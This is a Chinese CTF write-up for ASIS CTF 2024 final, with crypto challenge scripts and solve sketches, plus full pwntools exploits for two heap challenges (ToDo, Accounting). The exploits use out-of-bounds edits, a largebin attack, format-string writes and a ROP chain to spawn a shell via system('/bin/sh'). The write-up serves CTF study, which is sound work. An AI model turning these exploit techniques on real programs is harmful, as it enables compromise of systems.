[ASISCTF 2024 final]

news2025/1/11 7:29:45

过去有些日子的比赛的,国外很多比赛题目水平很高。没事的时候拿来作作。只是WP不全我不会的大多没有。

Crypto

Lozib

这个题就挺有意思。由于远程都关了,只在本地把思路作了下。

#!/usr/bin/env python3

import sys
from Crypto.Util.number import *
from random import *
from math import gcd
from flag import flag

def die(*args):
	pr(*args)
	quit()
	
def pr(*args):
	s = " ".join(map(str, args))
	sys.stdout.write(s + "\n")
	sys.stdout.flush()
	
def sc():
	return sys.stdin.buffer.readline()

def main():
	border = "┃"
	pr(        "┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓")
	pr(border, ".:::    Welcome to the Lozib unbreakable cryptography task!   ::.", border)
	pr(border, ".: Your mission is to find flag by analyzing the crypto-system :.", border)
	pr(border, ".: Lozib are generating the parameters, please be patient ...  :.", border)
	pr(        "┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛")
	global flag
	flag = bytes_to_long(flag)
	nbit = 4096
	p = getPrime(nbit)
	while True:
		pr(f"{border} Options: \n{border}\t[E]ncrypt the flag! \n{border}\t[G]et the parameters! \n{border}\t[Q]uit")
		ans = sc().decode().strip().lower()
		if ans == 'g':
			pr(border, f'p = {p}')
		elif ans == 'e':
			_b = False
			pr(border, f'Please provide {nbit}-bit integer g: ')
			inp = sc().decode().strip()
			try:
				g = int(inp)
				if g.bit_length() == nbit and gcd(g, p - 1) == 1 and pow(g, (p - 1) // 2, p) != 1:
					pr(border, f'Now, please send an desired integer: ')
					inp = sc().decode().strip()
					a = int(inp)
					if a.bit_length() == nbit >> 1:
						n = pow(g, 2 * a, p) - a
						if n > 0:
							e = pow(flag, 1234567891, n)
							_b = True
			except:
				die(border, f'The input you provided is not valid! Bye!!')
			if _b:
				pr(border, f'e = {e}')
			else:
				die(border, f'The input you provided is not valid! Bye!!')
		elif ans == 'q':
			die(border, "Quitting...")
		else:
			die(border, "Bye...")

if __name__ == '__main__':
	main()

代码稍冗,

1,先是生成一个素数p给出,

2,然后要求输入g要求通过检查:位数为4096,gcd(g,p-1)==1,pow(g,(p-1)//2,p)!= 1

        其中前两个好办,第3项有个特值当g=p时结果为0,其它的时候会出很大的数比如7,11等

3,输入a 2048位,得到n=pow(g, 2 * a, p) - a 然后给出用n为模加密的密文

所以这里就是个脑筋转弯的问题,当7,11这样的出现巨大的数显然不可控,所以g只能选p这样n=-a,这时候负数模其实很少见的。不过可能理解为 n = -1*a 用n的一个因子a来求解。

下边是模拟示意。

#输入g = p 通过检查
assert gcd(g, p - 1) == 1 
assert pow(g, (p - 1) // 2, p) != 1

#生成1个素数2048位
a = getPrime(2048)
n = -a  #pow(g, 2 * a, p) - a
flag = b'ASIS{0000-0000-0000}'
flag = bytes_to_long(flag)

#返回负的加密值 n = -1*a 用n的因子a解密
c = pow(flag,1234567891,n)
m = pow(c,invert(1234567891,a-1),a)
long_to_bytes(m)

prequel

一个coppersmith的题,很新颖,看了WP,就没的作了。

#!/usr/bin/env python3

import sys
from Crypto.Util.number import *
from gmpy2 import *
from flag import flag

sys.set_int_max_str_digits(31337)

def keygen(nbit):
	p, q = [getPrime(nbit) for _ in '01']
	r = getRandomRange(int(sqrt(nbit)) - 6, int(sqrt(nbit)) - 2)
	el, eu = gmpy2.mpfr(0.313370), gmpy2.mpfr(0.313371)
	n = p ** r * q
	LB, UB = gmpy2.mpfr(n ** el), gmpy2.mpfr(n ** eu)
	while True:
		d = getRandomRange(int(LB), int(UB))
		if gcd(d, (p - 1) * (q - 1)) == 1:
			e = inverse(d, (p - 1) * p ** (r - 1) * (q - 1))
			pkey = (e, n)
			return pkey, p

def encrypt(pkey, m):
	e, n = pkey
	return pow(m, e, n)

nbit = 313
pkey, p = keygen(nbit)
leak = p >> (nbit - 110)
m = bytes_to_long(flag)
c = encrypt(pkey, m)

print(f'{pkey = }')
print(f'{leak = }')
print(f'{c = }')

生成的n=p**14*q,d 约1468位,给出e,n

由于e*d = 1 mod phi = 1 mod p**13*(p-1)*(q-1) 所以e*d=1 mod p**13也成立。拿含有因子p**13的n作域求解。

#gmpy2.mpfr(n ** el), gmpy2.mpfr(n ** eu)  d约1468位
#mod n => mod p^13
P.<x> = PolynomialRing(Zmod(n))
f = e*x - 1
res = f.monic().small_roots(X=2^1468, beta=0.499)
d = res[0]
m = pow(c,d,n)

Strength

这个也是模拟的示意。没有真正弄环境。

#!/usr/bin/env python3

import sys
from Crypto.Util.number import *
import hashlib
import time
#from flag import flag

def die(*args):
	pr(*args)
	quit()
	
def pr(*args):
	s = " ".join(map(str, args))
	sys.stdout.write(s + "\n")
	sys.stdout.flush()
	
def sc():
	return sys.stdin.buffer.readline()

def maskit(s, r):
	_hash = hashlib.md5(s + r)
	return _hash.hexdigest()[:16]

def get_values(b, _b, nbit):
	return [b[:i] or "L" for i in range(nbit) if b[i] == _b]

def presend(X):
	_X = []
	for x in X:
		_X.append(maskit(secret, x.encode()))
	return _X

def main():
	global secret, border
	border = "┃"
	pr(        "┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓")
	pr(border, ".:::        Greetings and welcome to the Strength task        :::.", border)
	pr(border, "Your task is simply :| to guess the size of two integers, which is", border)
	pr(border, "a really easy job, isn't it? Have fun and good luck :)            ", border)
	pr(        "┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛")
	c, nbit = 0, 256
	p, q = [getPrime(nbit >> 1) for _ in range(2)]
	n, secret = p * q, long_to_bytes(getRandomNBitInteger(nbit))
	m = bytes_to_long(flag.lstrip(b'ASIS{').rstrip(b'}'))
	assert m < n
	enc = pow(m, 0x10001, n)
	while True:
		pr(border, f"Please send your desired integer: ")
		_n = sc().decode()
		try:
			_n = int(_n)
		except:
			die(border, "[-] Your input is not valid!")
		_xB, _yB = [bin(_)[2:].zfill(nbit) for _ in [n, _n]]
		X, Y = get_values(_xB, '1', nbit), get_values(_yB, '0', nbit)
        print(X[:5],Y[:5])
		_X, _Y = presend(X), presend(Y)
		pr(border, "You are suppose to get much information now, ready? [Y]es or [N]o?")
		_ans = sc().decode().strip().lower()
		if _ans == 'y':
			for _ in range(max([len(_X), len(_Y)])):
				try:
					pr(border, f'Info: _X[{_}] = {_X[_]}')
					pr(border, f'Info: _Y[{_}] = {_Y[_]}')
				except:
					pass
		else:
			pr(border, "I wonder how you will answer the following question? :/")
		pr(border, f"Could you please tell me which number is greater: n or yours?")
		res = sc().decode().strip().lower()
		if not res in {"n", "y"}:
			die(border, "[-] Bad response! Start again!") 
		if (n <= _n and res == "y") or (n >= _n and res == "n"):
			c += 1
            pr(border, f"---- {c} ----")
			if c >= nbit * 0.666:
				die(border, f'[+] Congratulation! But you just got the encrypted flag: {enc}')
		else:
			die(border, "[-] Wrong response! Try again. Bye!!") 

if __name__ == '__main__':
	main()

题目生成p,q,n=p*q给出n,这是的p,q都只有128位很小。

然后给了一个循环,可以输入数字,并会把n和_n分别按1和0切成块,然后每块作md5并取前一半为mark.比如 n=0b1010011 第1位是1,则返回第1块为‘L’,第2块从下个1前切即10,第3块为10100,第4块为101001,而输入的_n则是用0切方法同上。

第2步则是判断n与_n的大小,这个不用管,你一直让_n小就行了。

这个题就是要构造一个数来得到与切出的块相同,则通通过半个md5值得到n的部分位。

大致思路如下:

当用1切时,每一块的值为(假设上一块为a): a+'1'+'0'*k 这里0的数量可以为0

所以要构造这个_n就要让加1然后后边全设置为0,与第1个块md5(为方便可以不加md5直接用字符串也能比较相同)相同就是几个0,比如上例中第2块为10,而输入的值用0切只需要输入100000..这样会切出1,10,100,...等块如果与第1块相同就原块就是1,与第2块相同原块就是10

另外一个坑点就是这里的try导致输出并不完全,一但下标越界两个就都不输出,所以最好的办法是爆破一个n里1和0数量相近的情况。经过几次测试发现这种情况很容易得到大概3-4次就会出一个127个0或1的情况。这样用前边的方法就能爆破得到253位左右的n。

这题并不用输入正确的n,只要消耗到足够的次数(可以一直输入同一个数)就可以得到密文。

对爆破得到的多人个判定哪个是真正的n的方法也简单分解一下即可,大概率不是正确的n会马上分解出小因子。而真正的n只有256位用yafu可以分解。然后就是的RSA解下密就OK

也许可几天能看到WP有更好的思路。

以下是模拟的作法

#!/usr/bin/env python3

import sys
from Crypto.Util.number import *
import hashlib
import time
#from flag import flag
flag = b'ASIS{0000-0000-0000}'
secret = b'\xfe\x17=p\x13\x9e\xca\x13\xbb\xbf\xb8\x11\x98\xc5\xf7Gd\xe2x\xa1[\x8e=\xc6n\xfea\xbf\x880\xdd\xed'
c, nbit = 0, 256

def maskit(s, r):
    _hash = hashlib.md5(s + r)
    return _hash.hexdigest()[:16]

def get_values(b, _b, nbit):
    return [b[:i] or "L" for i in range(nbit) if b[i] == _b]

def presend(X):
    _X = []
    for x in X:
        _X.append(maskit(secret, x.encode()))
    return _X

class Strength:
    #爆破n中1和0数量近的情况
    n = 69425516840202926852427689992596087680390054969809045447441776586380876898441
    def get(self, _n):
        _xB, _yB = [bin(_)[2:].zfill(nbit) for _ in [self.n, _n]]
        X, Y = get_values(_xB, '1', nbit), get_values(_yB, '0', nbit)
        _X, _Y = presend(X), presend(Y)
        #print(len(_X),len(_Y))
        l = min(len(_X),len(_Y))
        return (_X[:l],_Y[:l])

you = Strength()

i_idx = 1
j_idx = 0
head = '1'
while len(head)<256:
    tmp = head.ljust(500,'0')
    X,Y = you.get(int(tmp,2))
    _Y = get_values(tmp, '0', nbit)
    #print(X,Y,_Y)
    if i_idx>=len(X)-1:
        print(len(head))
        print('X over')
        break
    v = X[i_idx]
    for i in range(j_idx,len(Y)):
        if X[i_idx]== Y[i]:
            break
    head = _Y[i]+'1'
    if i== len(Y)-1:
        print(head)
        print('Y over')  
        break
    print(head)
    i_idx+=1
    j_idx+=i-j_idx 
    print('idx:',i_idx,j_idx, len(X),len(_Y))

#重复运行到171次得到enc再爆破n 
if len(head)>=252:
    #...
    

Hofar

这个百思不得其姐。猜是当N-1含大量小素数是求DLP,试也没试成

#!/usr/bin/env python3

import sys
from Crypto.Util.number import *
import os
from flag import flag

def die(*args):
	pr(*args)
	quit()
	
def pr(*args):
	s = " ".join(map(str, args))
	sys.stdout.write(s + "\n")
	sys.stdout.flush()
	
def sc(): 
	return sys.stdin.buffer.readline()

def next_prime(n):
	while True:
		if isPrime(n):
			return n
		else:
			n += 1

def main():
	border = "┃"
	pr(        "┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓")
	pr(border, ".:::           Welcome to the Hofar cryptography task!         ::.", border)
	pr(border, ".:: Your mission is to find flag by analysing the Hofar oracle ::.", border)
	pr(        "┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛")
	nbit, _b = 1024, False
	p, q = [getPrime(nbit) for _ in range(2)]
	m, n = bytes_to_long(flag + os.urandom(255 - len(flag))), p * q
	g, N, c = pow(m, 0x10001, n), next_prime(n), 0
	_U, _V = [], []
	while True:
		pr(f"{border} Options: \n{border}\t[G]et parameters \n{border}\t[T]ry Hofar Oracle! \n{border}\t[Q]uit")
		ans = sc().decode().strip().lower()
		if ans == 'g':
			pr(border, f'g = {g}')
			pr(border, f'N = {N}')
		elif ans == 't':
			pr(border, f"Please provide your desired integers:")
			inp = sc().decode()
			try:
				u, v = [abs(int(_)) for _ in inp.split(',')]
				if (
					nbit >= u.bit_length() >= nbit - 1 and 
					nbit >= v.bit_length() >= nbit - 1 and
					u not in _U and v not in _V
					):
					_U.append(u)
					_V.append(v)
					_b = True
			except:
				die(border, f"The input you provided is not valid!")
			if _b:
				pr(border, f'pow(g, p ^ u + q ^ v, n) = {pow(g, (p ^ u) + q ^ v, N)}')
				c += 1
				if c >= (nbit >> 3):
					die(border, f"You can use this Hofar oracle at most {nbit >> 3} times! Bye!!")
			else:
				die(border, f"Your input does not meet the requirements!!!")
		elif ans == 'q':
			die(border, "Quitting...")
		else:
			die(border, "Bye...")

if __name__ == '__main__':
	main()

先是生成p,q,n=p*q然后对flag加密得到g,g=pow(m,0x10001,n)然后给出N(N=next_prime(n))允许输入最多u,v共128次返回 pow(g, (p ^ u) + q ^ v, N)

猜一个思路:

由于N没有特意生成,只是取的next_prime,所以当N-1中含1024以上位的小因子时可以求p

第1次输入u=v=(1<<2048)-1,得到c1=pow(g,(p^u)+q^v,N)=pow(g,p-q,N)

第2次输入u=v=(1<<2000)差不多就行,得c2=pow(g,p+q,N)

两式相乘得到c3=c1*c2 = g**2p %N ,这样当N可以分解出至少总计1024位的小因子里可以PH方法求p

试也没试成,哪里找那么善解人意的N去。还是等WP吧。

PWN

作了两个 pwn题,第3个看都没看懂。同样没有环境,本地也是大概意思。

ToDo

一个堆题,环境用的24.04这个是libc-2.39不过不用管版本,如果打栈的话版本基本无关。

有add,free,edit,show 4个菜单,找了两圈才找着漏洞。在edit里idx允许负数造成向前越界(只有edit有,其它菜单都有检查)

int m3edit()
{
  __int16 v1; // [rsp+6h] [rbp-Ah]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  printf("Enter index of the todo: ");
  v1 = readint();
  if ( v1 > 15 || !*((_QWORD *)&unk_4050 + 3 * v1) )
    return puts("Bad index");
  printf("Enter content size: ");
  v2 = readint();
  if ( *((_QWORD *)&unk_4040 + 3 * v1) < v2 )
    return puts("Bad size");
  printf("Enter content: ");
  return read_str(*((void **)&unk_4050 + 3 * v1), v2);
}

那么就在指针前边找可用的负指针,由于可写位置很小,只有chunk-0x48的地方可借用,利用bss开头的指向自己的指针。

先修改自己1字节指向块1,再修改块1的指针,能控制指针就能任意泄露任意写了。(没有环境,意思到这,也许只允许ORW呢,不过影响不大)

from pwn import *
context(arch='amd64', log_level='debug')

elf = ELF('./todo')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')

def add(size, msg1,msg2):
    p.sendlineafter(b"> ", b'1')
    p.sendafter(b"Enter Title: ", msg1)
    p.sendlineafter(b"Enter Length of Content: ", str(size).encode())
    p.sendafter(b"Enter Content: ", msg2)

def free(idx):
    p.sendlineafter(b"> ", b'2')
    p.sendlineafter(b"Enter index of the todo: ", str(idx).encode())

def edit(idx,msg):
    p.sendlineafter(b"> ", b'3')
    p.sendlineafter(b"Enter index of the todo: ", str(idx).encode())
    p.sendlineafter(b"Enter content size: ", str(len(msg)+1).encode())
    p.sendafter(b"Enter content: ", msg)

def show(idx):
    p.sendlineafter(b"> ", b'4')
    p.sendlineafter(b"Enter index of the todo: ", str(idx).encode())

'''
-3 F8: 0x00007ffff7e05e80 0x0000000000000000  0x0000555555558008
-2 10: 0x0000000000000000 0x0000000000000000  <stdout>0x00007ffff7f9b760
-1 28: 0x0000000000000000 <stdin>0x00007ffff7f9aa80   0x0000000000000000
 0 40:
'''

p = process('./todo')

add(0x500,b'1',b'1')
add(0x18,b'1',b'1')
free(0)
add(0x500,b'1',b'\xc0')
show(0)
p.recvuntil(b"Content: ")
libc.address = u64(p.recv(6)+b'\0\0') - 0x1d2cc0
print(f'{libc.address = :x}')

edit(-3, b'\x40')  #修改指针指向块1
edit(-3, flat(0x10,libc.sym['_environ'], libc.sym['_environ'])) #块1指向environ泄露栈地址

#gdb.attach(p, "b*0x55555555582f\nc")

show(0)
p.recvuntil(b"Content: ")
stack = u64(p.recv(6)+b'\0\0') - 0x130
print(f"{stack = :x}")

pop_rdi = libc.address + 0x0000000000027725 # pop rdi ; ret
edit(-3, flat(0x30,stack,stack)) #指向栈地址,写ROP
edit(0, flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system']))

p.interactive()

Accounting

这个看起来非常乱,菜单很多。有用的结构和指针有以下几个:

1,new_user 在+5040处,结构为:Balance:long,id:long,name:16,func_ptr:long

2,order 在+50c0处,结构为:msg:0x20,order:long

3,user_addr在+5140处,结构为:state:16,?:8,house:long,zip:8,city:16,addr:size

4,inused在+51c0处,int

5,log_level: +5208

有两个漏洞:

第1个在showhighestorder,在循环中如果没找到最大值则v1为-1,属于初始化了的未初始化漏洞。利用这个漏洞可以实现show(-1) 当user[15]存在时可以得到user+0x20处的函数指针(得到加载地址)

int m4show()
{
  unsigned int v1; // [rsp+8h] [rbp-8h]
  int i; // [rsp+Ch] [rbp-4h]

  v1 = -1;
  for ( i = 0; i <= 15; ++i )
  {
    if ( dword_51C0[i] && (v1 == -1 || *(_QWORD *)(qword_50C0[v1] + 32LL) < *(_QWORD *)(qword_50C0[i] + 32LL)) )
      v1 = i;
  }
  printf("idx: %d\n", v1);
  printf("Highest number of orders: %lu\n", *(_QWORD *)(qword_50C0[v1] + 32LL));
  puts("Person:");
  return m3show_2(v1);
}

第2个漏洞在editaddress,这个菜单没检查inused标记,当一个在址块删除以后依然能修改+0x18处的long值,对于libc-2.39来说就是largebinAttack用的bknextsize处。自用它修改log_level,使其大于2,再建的块show的时候就含有一条printf(addr+0x38)

unsigned __int64 m4edit_address()
{
  int v1; // [rsp+8h] [rbp-18h] BYREF
  int index; // [rsp+Ch] [rbp-14h]
  __int64 v3; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  index = read_index();
  v3 = qword_5140[index];
  puts("Select field to edit: ");
  puts("1. State");
  puts("2. City");
  puts("3. Zip Code");
  puts("4. House Number");
  printf("> ");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 0 || v1 > 4 )
    exit(1);
  switch ( v1 )
  {
    case 1:
      puts("Unable to change State!");
      break;
    case 2:
      printf("City: ");
      __isoc99_scanf("%15s", v3 + 40);
      break;
    case 3:
      printf("Zip Code: ");
      __isoc99_scanf("%lu", v3 + 32);
      break;
    default:
      printf("House Number: ");
      __isoc99_scanf("%lu", v3 + 24);
      break;
  }
  return v4 - __readfsqword(0x28u);
}
_DWORD *m1add()
{
  _DWORD *result; // rax
  int v1; // [rsp+Ch] [rbp-4h]

  v1 = read_index();
  if ( dword_51C0[v1] )
    free(*((void **)&unk_5040 + v1));
  *((_QWORD *)&unk_5040 + v1) = malloc(0x28uLL);
  qword_5140[v1] = 0LL;
  printf("Customer Id: ");
  __isoc99_scanf("%lu", *((_QWORD *)&unk_5040 + v1) + 8LL);
  printf("Name: ");
  __isoc99_scanf("%15s", *((_QWORD *)&unk_5040 + v1) + 16LL);
  sub_1392(*((_QWORD *)&unk_5040 + v1) + 16LL);
  printf("Current Balance: ");
  __isoc99_scanf("%lu", *((_QWORD *)&unk_5040 + v1));
  *(_QWORD *)(*((_QWORD *)&unk_5040 + v1) + 32LL) = log_0;
  if ( qword_5208 == 2 )
  {
    *(_QWORD *)(*((_QWORD *)&unk_5040 + v1) + 32LL) = log_2;
    goto LABEL_10;
  }
  if ( (unsigned __int64)qword_5208 > 2 )
    goto LABEL_9;
  if ( qword_5208 )
  {
    if ( qword_5208 == 1 )
    {
      *(_QWORD *)(*((_QWORD *)&unk_5040 + v1) + 32LL) = log_1;
      goto LABEL_10;
    }
LABEL_9:
    *(_QWORD *)(*((_QWORD *)&unk_5040 + v1) + 32LL) = &printf;
  }
LABEL_10:
  result = dword_51C0;
  dword_51C0[v1] = 1;
  return result;
}

思路就是先用show(-1)得到加载地址,再用largebinAttack修改log_level,然后用printf。

不过由于这个printf不在栈内,而且可打的位置比较多,所以选择是打栈还是改func_ptr想了两个钟头。最后还是决定修改func_ptr指针把printf改为system只有3个字节。因为没有退出的话打栈也不大方便,跳出这个得把返回地址改成leave ret,写的地方比较多。

修改指针其实也不方便,利用rbp指针 #22->#42->#54 用22修改42,再用42在54处写一个指向堆里func_ptr的指针。再用42修改54的尾字节,再用54修改func_ptr里printf的尾3字节。然后show一个/bin/sh

from pwn import *
context(arch='amd64', log_level='debug')

elf = ELF('./accounting')
libc = ELF('/home/kali/glibc/libs/2.39-0ubuntu8_amd64/libc.so.6')

#5040[] -> Balance:long,id:long,name:16,ptr:long
def add_user(idx, id=0, name=b'a', balance=0):
    p.sendline(b"newperson")
    p.sendlineafter(b"index: ", str(idx).encode())
    p.sendlineafter(b"Customer Id: ", str(id).encode())
    p.sendlineafter(b"Name: ", name)
    p.sendlineafter(b"Current Balance: ", str(balance).encode())

#5140[] -> state:16,?:8,house:long,zip:8,city:16,addr:size
def add_addr(idx, size, state=b'A',city=b'A',zipcode=0, num=0, addr=b'/bin/sh\0'):
    p.sendline(b"setaddress")
    p.sendlineafter(b"index: ", str(idx).encode())
    p.sendlineafter(b"Full address length: ", str(size).encode())  
    p.sendlineafter(b"State: ", state)  
    p.sendlineafter(b"City: ", city)  
    p.sendlineafter(b"Zip Code: ", str(zipcode).encode())  
    p.sendlineafter(b"House Number: ", str(num).encode())  
    p.sendafter(b"Full Address: ", addr)  
    sleep(0.2)
  
def free(idx):
    p.sendline(b"delperson")
    p.sendlineafter(b"index: ", str(idx).encode())

def show_high():
    p.sendline(b"showhighestorder")

def edit_addr(idx,addr):
    p.sendline(b"editaddress")
    p.sendlineafter(b"index: ", str(idx).encode())
    p.sendlineafter(b"> ", b'4')
    p.sendafter(b"House Number: ", str(addr).encode())

def edit_zip(idx,addr):
    p.sendline(b"editaddress")
    p.sendlineafter(b"index: ", str(idx).encode())
    p.sendlineafter(b"> ", b'3')
    p.sendafter(b"Zip Code: ", str(addr).encode())

def show(idx):
    p.sendline(b"show")
    p.sendlineafter(b"index: ", str(idx).encode())


p = process('./accounting')

add_user(15)
free(15)
show_high()  #no order set,return -1: 50c0[-1]=5040[15]
p.recvuntil(b"Highest number of orders: ")
elf.address = int(p.recvline()) - 0x12f9
print(f"{elf.address = :x}")

for i in range(5):
    add_user(i)

#largebin attack  在log_level写入堆地址,使log_level>2,新建块时func为printf,用show执行printf(addr+0x38)
add_addr(0,0x4d0)
add_addr(1,0x300)
add_addr(2,0x4c0)
free(0)
add_addr(3,0x4f0)
free(2)
edit_addr(0, elf.address +0x5208 -0x20)
add_addr(4,0x4f0)   #+5208=addr

#log>0 user+0x20=&printf 利用printf泄露地址
add_user(5)
pay = b'%22$p %23$p %10$p '
add_addr(5,0x4f0, addr=pay)

#gdb.attach(p, "b*0x555555555b41\nc")
show(5)
p.recvuntil(b"Address: \n")
stack = int(p.recvuntil(b' '), 16) #22:de70->42:df10->54:df70
libc.address = int(p.recvuntil(b' '), 16) - 0x2a1ca
heap = int(p.recvuntil(b' '), 16) - 0x2f60 
user3 = heap+0x2500
print(f"{stack = :x} {libc.address = :x} {heap = :x}")
stack2 = stack+0x60

'''
0x00007fffffffddf0│+0x0000: 0x0000000000000001   ← $rsp
0x00007fffffffddf8│+0x0008: 0x00000000cdb8e400
0x00007fffffffde00│+0x0010: 0x00007fffffffde20  →  0x00007fffffffde70  →  ...
0x00007fffffffde08│+0x0018: 0x0000555555555b9d  →   nop 

#堆地址
0x00007fffffffde10│+0x0020: 0x000055555555e000 
#rbp链 22->42->54->chunk6
0x00007fffffffde70│+0x0080: 0x00007fffffffdf10  →  0x00007fffffffdf70  →  0x0000000000000000 
#libc
0x00007fffffffde78│+0x0088: 0x00007ffff7c2a1ca  →   mov edi, eax
'''

#22:de70->42:df10->54:df70
#printf modify usr[1]+0x20 = system 
#chunk1+0x20 = heap+0x16f0+0x20
#新建块时func为printf  printf与system差3字节
add_user(6)
add_addr(6,0x500, addr= b'/bin/sh\0')
'''
gef➤  x/8gx 0x000055555555d6c0
0x55555555d6c0: 0x0000000000000000      0x0000000000000000
0x55555555d6d0: 0x0000000000000061      0x0000000000000000
0x55555555d6e0: 0x00007ffff7c600f0      printf->system
'''
target = chunk6 = heap+0x16c0+0x20
v1 = target&0xffff
v2 = (target>>16)&0xffff
v3 = (target>>32)

#在偏移54处写一个指向chunk6.func的地址
#22->42->54->chunk6.func
#54->chunk6+0x20
for i,v in enumerate([v1,v2,v3]):
    add_addr(5,0x500, addr= f"%{v}c%42$hn".encode())
    show(5)
    p.recvuntil(b'Balance:')
    if i==2:
        add_addr(5,0x500, addr= f"%{(stack2)&0xff}c%22$hhn".encode())
    else:
        add_addr(5,0x500, addr= f"%{(stack2+2*i+2)&0xff}c%22$hhn".encode())
    
    show(5)
    p.recvuntil(b'Balance:')

#修改chunk6.func 从printf改为system
target = libc.sym['system']
v1 = target&0xff
v2 = (target>>8)&0xff
v3 = (target>>16)&0xff
#42->54->chunk6.func
for i,v in enumerate([v1,v2,v3]):
    add_addr(5,0x500, addr= f"%{v}c%54$hhn".encode())
    show(5)
    p.recvuntil(b'Balance:')
    add_addr(5,0x500, addr= f"%{(chunk6+i+1)&0xff}c%42$hhn".encode())
    show(5)
    p.recvuntil(b'Balance:')

show(6)
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2274783.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

机器翻译优缺点

随着科技的飞速发展&#xff0c;机器翻译是近年来翻译行业的热门话题&#xff0c;在人们的生活和工作中日益普及&#xff0c;使用机器能够提高翻译效率&#xff0c;降低成本。尽管关于机器翻译为跨语言交流带来了诸多便利&#xff0c;但在译文的正确率和局限性方面存在一定争议…

R 语言科研绘图 --- 折线图-汇总

在发表科研论文的过程中&#xff0c;科研绘图是必不可少的&#xff0c;一张好看的图形会是文章很大的加分项。 为了便于使用&#xff0c;本系列文章介绍的所有绘图都已收录到了 sciRplot 项目中&#xff0c;获取方式&#xff1a; R 语言科研绘图模板 --- sciRplothttps://mp.…

30天开发操作系统 第 12 天 -- 定时器 v1.0

前言 定时器(Timer)对于操作系统非常重要。它在原理上却很简单&#xff0c;只是每隔一段时间(比如0.01秒)就发送一个中断信号给CPU。幸亏有了定时器&#xff0c;CPU才不用辛苦地去计量时间。……如果没有定时器会怎么样呢?让我们想象一下吧。 假如CPU看不到定时器而仍想计量时…

自动化测试:6大关键脚本类型及使用要点

测试脚本在自动化测试中扮演着至关重要的角色&#xff0c;特别是常见的六种关键脚本类型及其使用范围和注意事项&#xff0c;它们能够确保系统在不同负载和环境下稳定运行&#xff0c;保障接口交互的准确性和安全性&#xff0c;从而节省时间和人力成本&#xff0c;推动项目高效…

算法题(31):两数之和-输入有序数组

审题&#xff1a; 在确定有唯一解的前提下&#xff0c;找出两个下标对应的元素值之和等于target的下标&#xff0c;并存入数组中返回 思路&#xff1a; 方法一&#xff1a;暴力搜索&#xff08;超时&#xff09; 利用两个循环进行所有情况的枚举&#xff0c;让每个元素依次与其…

9 个大数据示例

被称为大数据的技术是数字时代最具影响力的创新之一。强大的分析揭示了隐藏在大量数据中的模式和相关性&#xff0c;几乎为所有行业的规划和决策提供依据。事实上&#xff0c;就在过去十年间&#xff0c;大数据的应用已经发展到几乎触及我们生活方式、购物习惯以及日常消费选择…

低代码从“产品驱动”向“场景驱动”转型,助力数字化平台构建

一、前言 在数字化时代的大潮中&#xff0c;从宏观层面来看&#xff0c;新技术的落地速度不断加快&#xff0c;各行各业的数字化进程呈现出如火如荼的态势。而从微观层面剖析&#xff0c;企业面临着行业格局快速变化、市场竞争日益激烈以及成本压力显著增强等诸多挑战。 据专…

基于Python编程语言的自动化渗透测试工具

摘 要 近些年来网络安全形势变得越来越严峻&#xff0c;全球数百万个政企遭遇过不同程度的网络攻击。渗透测试是一种对目标进行信息安全评估的方法&#xff0c;而目前该行业仍在存在着安全服务行业价格昂贵&#xff0c;安全人才缺口巨大&#xff0c;在渗透测试时步骤繁琐、效率…

【教程】数据可视化处理之2024年各省GDP排名预测!

过去的一年里&#xff0c;我国的综合实力显著提升&#xff0c;在新能源汽车、新一代战机、两栖攻击舰、航空航天、芯片电子、装备制造等领域位居全球前列。虽然全国各省市全年的经济数据公布还需要一段时间&#xff0c;但各地的工业发展数据&#xff0c;财政收入数据已大概揭晓…

Mysql快速列出来所有列信息

文章目录 需求描述实现思路1、如何查表信息2、如何取字段描述信息3、如何将列信息一行展示4、拼接最终结果 需求描述 如何将MySQL数据库中指定表【tb_order】的所有字段都展示出来&#xff0c;以备注中的中文名为列名。 实现思路 最终展示效果&#xff0c;即拼接出可执行执行…

数据结构(Java版)第七期:LinkedList与链表(二)

专栏&#xff1a;数据结构(Java版) 个人主页&#xff1a;手握风云 一、链表的实现&#xff08;补&#xff09; 接上一期&#xff0c;下面我们要实现删除所有值为key的元素&#xff0c;这时候有的老铁就会想用我们上一期中讲到的remove方法&#xff0c;循环使用remove方法&#…

初学stm32 --- ADC单通道采集

目录 ADC寄存器介绍&#xff08;F1&#xff09; ADC控制寄存器 1(ADC_CR1) ADC控制寄存器 2(ADC_CR2) ADC采样时间寄存器1(ADC_SMPR1) ADC采样时间寄存器2(ADC_SMPR2) ADC规则序列寄存器 1(ADC_SQR1) ADC规则序列寄存器 2(ADC_SQR2) ADC规则序列寄存器 3(ADC_SQR3) AD…

Eclipse配置Tomcat服务器(最全图文详解)

前言&#xff1a; 本章使用图文讲解如何在Eclipse开发工具中配置Tomcat服务器、如何创建和启动JavaWeb工程&#xff0c;欢迎童鞋们互相交流。觉得不错可以三连订阅喔。 目标&#xff1a; 一、配置Tomcat服务器 1. 切换Eclipse视图 2. 打开菜单 3. 找到服务选项 4. 选择…

Apache Hudi vs Delta Lake vs Apache Iceberg

